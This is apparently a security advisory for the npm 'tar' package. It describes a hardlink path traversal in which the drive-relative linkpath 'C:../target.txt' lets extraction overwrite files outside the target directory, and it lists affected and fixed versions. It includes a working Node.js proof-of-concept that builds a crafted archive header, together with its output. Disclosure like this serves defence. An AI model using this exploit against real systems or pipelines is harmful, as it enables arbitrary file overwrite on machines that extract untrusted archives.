tar has Hardlink Path Traversal via Drive-Relative Linkpath
Affected releases · tar
- 7.x7.0.0 – 7.5.9Fixed in 7.5.10
- 6.x and older0.0.1 – 6.2.1No fix, no longer updated
On 7.x, the newest line:
npm install tar@7.5.10Every release on a timeline
Affected
7.0.0 – 7.5.9
20 releases
Fixed
7.5.10 – 7.5.22
13 releases, latest
Affected
6.0.0 – 6.2.1
24 releases
Affected
5.0.0 – 5.0.11
12 releases
Affected
4.0.0 – 4.4.19
31 releases
Affected
3.0.0 – 3.2.3
22 releases
Affected
2.0.0 – 2.2.2
7 releases
Affected
1.0.0 – 1.0.3
4 releases
Affected
0.0.1 – 0.1.20
21 releases
What happens
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
Split on
/gives['C:..', 'target.txt'], soparts.includes('..')is false.stripAbsolutePath()removesC:and rewrites the value to../target.txt.Hardlink creation resolves this against extraction
cwdand escapes one directory up.Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})Run:
cd test-workspace node poc.cjs && ls -l ../target.txt
Observed output:
PWNED -rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
CLI tools unpacking untrusted tarballs into a working directory
build/update pipelines consuming third-party archives
services that import user-supplied tar files